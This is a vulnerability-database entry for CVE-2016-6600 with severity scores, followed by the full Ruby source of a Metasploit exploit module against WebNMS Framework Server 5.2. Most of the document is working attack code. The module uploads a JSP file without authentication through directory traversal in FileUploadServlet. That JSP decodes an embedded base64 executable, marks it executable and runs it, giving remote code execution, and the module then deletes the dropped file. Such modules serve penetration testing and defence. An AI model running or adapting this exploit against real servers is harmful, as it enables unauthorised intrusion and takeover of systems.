WebNMS Framework Server Arbitrary File Upload

2016-07-0420:07:03

Pedro Ribeiro <[email protected]>

www.rapid7.com

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.974

Percentile

99.9%

JSON

This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an unauthenticated user to upload text files by using a directory traversal attack on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and executes a malicious payload, achieving code execution under the user which the WebNMS server is running. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'         => 'WebNMS Framework Server Arbitrary File Upload',
        'Description'  => %q(
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
unauthenticated user to upload text files by using a directory traversal attack
on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
executes a malicious payload, achieving code execution under the user which the
WebNMS server is running.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
),
        'Author'       =>
          [
            'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
          ],
        'License'      => MSF_LICENSE,
        'References'   =>
          [
            [ 'CVE', '2016-6600'],
            [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
            [ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ]
          ],
        'DefaultOptions' => { 'WfsDelay' => 15 },
        'Privileged'   => false,
        'Platform'     => %w(linux win),
        'Targets'      =>
          [
            [ 'Automatic', {} ],
            [
              'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux',
              {
                'Platform' => 'linux',
                'Arch'     => ARCH_X86
              }
            ],
            [
              'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows',
              {
                'Platform' => 'win',
                'Arch'     => ARCH_X86
              }
            ]
          ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => '2016-07-04'
      )
    )

    register_options(
      [
        Opt::RPORT(9090),
        OptString.new('TARGETURI', [ true, "WebNMS path", '/'])
      ],
      self.class
    )
  end

  def check
    res = send_request_cgi(
      'uri'    => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
      'method' => 'GET'
    )
    if res && res.code == 405
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def upload_payload(payload, is_exploit)
    jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp'
    if is_exploit
      print_status("#{peer} - Uploading payload...")
    end
    res = send_request_cgi(
      'uri'    => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
      'method' => 'POST',
      'data'   => payload.to_s,
      'ctype'  => 'text/html',
      'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
    )

    if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/
      if is_exploit
        print_good("#{peer} - Payload uploaded successfully")
      end
      return jsp_name
    else
      return nil
    end
  end

  def pick_target
    return target if target.name != 'Automatic'

    print_status("#{peer} - Determining target")
    os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
    jsp_name = upload_payload(os_finder_payload, false)

    res = send_request_cgi(
      'uri'    => normalize_uri(target_uri.path, 'jsp', jsp_name),
      'method' => 'GET'
    )

    if res && res.code == 200
      register_files_for_cleanup('jsp/' + jsp_name)
      if res.body.include? "Linux"
        return targets[1]
      elsif res.body.include? "Windows"
        return targets[2]
      end
    end

    return nil
  end

  def generate_jsp_payload
    opts = { arch: @my_target.arch, platform: @my_target.platform }
    payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
    exe = generate_payload_exe(opts)
    base64_exe = Rex::Text.encode_base64(exe)

    native_payload_name = rand_text_alpha(rand(6) + 3)
    ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

    var_raw     = rand_text_alpha(rand(8) + 3)
    var_ostream = rand_text_alpha(rand(8) + 3)
    var_buf     = rand_text_alpha(rand(8) + 3)
    var_decoder = rand_text_alpha(rand(8) + 3)
    var_tmp     = rand_text_alpha(rand(8) + 3)
    var_path    = rand_text_alpha(rand(8) + 3)
    var_proc2   = rand_text_alpha(rand(8) + 3)

    if @my_target['Platform'] == 'linux'
      var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
      chmod = %|
      Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
      Thread.sleep(200);
      |

      var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
      cleanup = %|
      Thread.sleep(200);
      Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
      |
    else
      chmod = ''
      cleanup = ''
    end

    jsp = %|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    try {
      String #{var_buf} = "#{base64_exe}";
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

      File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
      String #{var_path} = #{var_tmp}.getAbsolutePath();

      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();
      #{chmod}
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
      #{cleanup}
    } catch (Exception e) {
    }
    %>
    |
    jsp.delete!("\n\r\t")
    return jsp
  end

  def exploit
    @my_target = pick_target
    if @my_target.nil?
      print_error("#{peer} - Unable to select a target, we must bail.")
      return
    else
      print_status("#{peer} - Selected target #{@my_target.name}")
    end

    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
    # Fail if this is the case and ask the user to select an appropriate payload.
    if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
      fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
    end

    jsp_payload = generate_jsp_payload
    jsp_name = upload_payload(jsp_payload, true)
    if jsp_name.nil?
      fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
    else
      register_files_for_cleanup('jsp/' + jsp_name)
    end

    print_status("#{peer} - Executing payload...")
    send_request_cgi(
      'uri'    => normalize_uri(target_uri.path, 'jsp', jsp_name),
      'method' => 'GET'
    )
  end
end